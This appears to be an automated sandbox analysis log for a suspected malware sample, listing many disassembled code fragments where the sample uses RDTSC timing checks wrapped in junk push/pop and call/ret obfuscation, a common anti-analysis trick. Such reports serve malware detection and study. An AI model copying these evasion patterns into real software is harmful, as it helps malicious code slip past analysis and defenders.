Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4AAB58 second address: 4AAB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4AAB5C second address: 4AAB65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E3B19 second address: 4E3B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E3DB5 second address: 4E3DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F716557DC76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E3F71 second address: 4E3F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F716511B4A4h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E3F8C second address: 4E3F91 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E3F91 second address: 4E3F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6029 second address: 4E602D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E602D second address: 4E6033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6033 second address: 4E6038 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E60F3 second address: 4E6110 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F716511B4A8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6110 second address: 4E6156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c jmp 00007F716557DC88h 0x00000011 pop eax 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F716557DC7Dh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jns 00007F716557DC7Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6156 second address: 4E6173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 xor dword ptr [ebp+1247AB0Eh], ebx 0x0000000f call 00007F716511B499h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6173 second address: 4E6197 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jp 00007F716557DC84h 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6197 second address: 4E619B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E619B second address: 4E61B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F716557DC80h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E61B7 second address: 4E61DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F716511B49Fh 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F716511B496h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E61DA second address: 4E61DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E61DE second address: 4E61E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E61E4 second address: 4E61F4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E61F4 second address: 4E61FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E630C second address: 4E6310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6507 second address: 4E6511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F716511B496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6756 second address: 4E675C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E675C second address: 4E6760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E67CB second address: 4E67F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F716557DC7Eh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F716557DC82h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6E88 second address: 4E6E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6E8C second address: 4E6E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E6F1E second address: 4E6F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E733E second address: 4E7342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E791F second address: 4E7929 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F716511B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E7929 second address: 4E7937 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E7937 second address: 4E793C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E793C second address: 4E7942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E7942 second address: 4E7946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E8058 second address: 4E805C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E805C second address: 4E8060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E907B second address: 4E9080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E9080 second address: 4E9097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716511B4A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E9097 second address: 4E914A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F716557DC83h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F716557DC78h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D1F31h] 0x0000002f or esi, 49A4ECC4h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 cld 0x00000039 pop esi 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007F716557DC78h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 jmp 00007F716557DC83h 0x0000005b pushad 0x0000005c jmp 00007F716557DC86h 0x00000061 popad 0x00000062 xchg eax, ebx 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F716557DC84h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E914A second address: 4E9156 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E9B5E second address: 4E9B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F716557DC82h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E993F second address: 4E9943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E9943 second address: 4E995C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F716557DC7Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4E995C second address: 4E9962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EA538 second address: 4EA53F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EA760 second address: 4EA766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EB18B second address: 4EB18F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EB18F second address: 4EB195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EB195 second address: 4EB1A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F716557DC7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EB1A4 second address: 4EB1A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4EFB11 second address: 4EFB15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F00D4 second address: 4F0142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007F716511B49Ah 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D1A0Ch], ebx 0x00000018 adc di, A1B4h 0x0000001d push 00000000h 0x0000001f mov edi, 09FD3FBFh 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F716511B498h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 movzx ebx, si 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 push ebx 0x00000046 jc 00007F716511B496h 0x0000004c pop ebx 0x0000004d jmp 00007F716511B49Dh 0x00000052 popad 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jne 00007F716511B496h 0x0000005d push ebx 0x0000005e pop ebx 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4ED04C second address: 4ED068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F1053 second address: 4F1069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716511B4A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F1069 second address: 4F106F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F106F second address: 4F1073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F1073 second address: 4F108F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F108F second address: 4F1093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F1093 second address: 4F1115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F716557DC7Ch 0x0000000c popad 0x0000000d nop 0x0000000e adc di, 5D71h 0x00000013 mov dword ptr [ebp+122D2D16h], esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F716557DC78h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 jmp 00007F716557DC7Bh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007F716557DC78h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a jmp 00007F716557DC85h 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F1115 second address: 4F111A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F111A second address: 4F1134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F716557DC85h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F21DB second address: 4F21DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F124D second address: 4F1253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F1253 second address: 4F1258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F1258 second address: 4F1326 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F716557DC7Ch 0x00000008 jbe 00007F716557DC76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 xor edi, dword ptr [ebp+122D19D9h] 0x00000019 push dword ptr fs:[00000000h] 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007F716557DC78h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a call 00007F716557DC84h 0x0000003f pop edi 0x00000040 call 00007F716557DC84h 0x00000045 mov edi, 44F2A5DBh 0x0000004a pop ebx 0x0000004b mov dword ptr fs:[00000000h], esp 0x00000052 push 00000000h 0x00000054 push eax 0x00000055 call 00007F716557DC78h 0x0000005a pop eax 0x0000005b mov dword ptr [esp+04h], eax 0x0000005f add dword ptr [esp+04h], 00000019h 0x00000067 inc eax 0x00000068 push eax 0x00000069 ret 0x0000006a pop eax 0x0000006b ret 0x0000006c mov dword ptr [ebp+122D2C5Dh], ecx 0x00000072 push edi 0x00000073 pop edi 0x00000074 mov eax, dword ptr [ebp+122D0AE9h] 0x0000007a mov dword ptr [ebp+122D1D2Ah], ebx 0x00000080 push FFFFFFFFh 0x00000082 call 00007F716557DC83h 0x00000087 mov di, 0988h 0x0000008b pop edi 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f jg 00007F716557DC78h 0x00000095 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F6872 second address: 4F688E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F716511B49Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F716511B496h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F59A0 second address: 4F59A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F59A9 second address: 4F59C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F716511B49Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F6B13 second address: 4F6B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F716557DC82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F7994 second address: 4F7A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+122D2E6Ch] 0x0000000f mov edi, dword ptr [ebp+122D1D2Ah] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F716511B498h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D3B69h] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F716511B498h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 movsx ebx, si 0x00000056 xchg eax, esi 0x00000057 pushad 0x00000058 pushad 0x00000059 pushad 0x0000005a popad 0x0000005b push edi 0x0000005c pop edi 0x0000005d popad 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F6B29 second address: 4F6B43 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F716557DC7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F716557DC76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F7A03 second address: 4F7A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F6B43 second address: 4F6B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F6B4C second address: 4F6B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F89D6 second address: 4F89DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F7C26 second address: 4F7C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F8B1B second address: 4F8B73 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F716557DC78h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, dword ptr [ebp+122D3B05h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov bx, 7A5Bh 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 sbb di, 0CF5h 0x0000002c mov eax, dword ptr [ebp+122D0DE5h] 0x00000032 mov dword ptr [ebp+122D1FE9h], ebx 0x00000038 push FFFFFFFFh 0x0000003a sbb bx, 11FAh 0x0000003f pushad 0x00000040 mov dword ptr [ebp+122D3289h], eax 0x00000046 mov dword ptr [ebp+122D30F2h], eax 0x0000004c popad 0x0000004d nop 0x0000004e push eax 0x0000004f push edx 0x00000050 ja 00007F716557DC78h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\w23Vg439U1.exe	RDTSC instruction interceptor: First address: 4F8B73 second address: 4F8B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
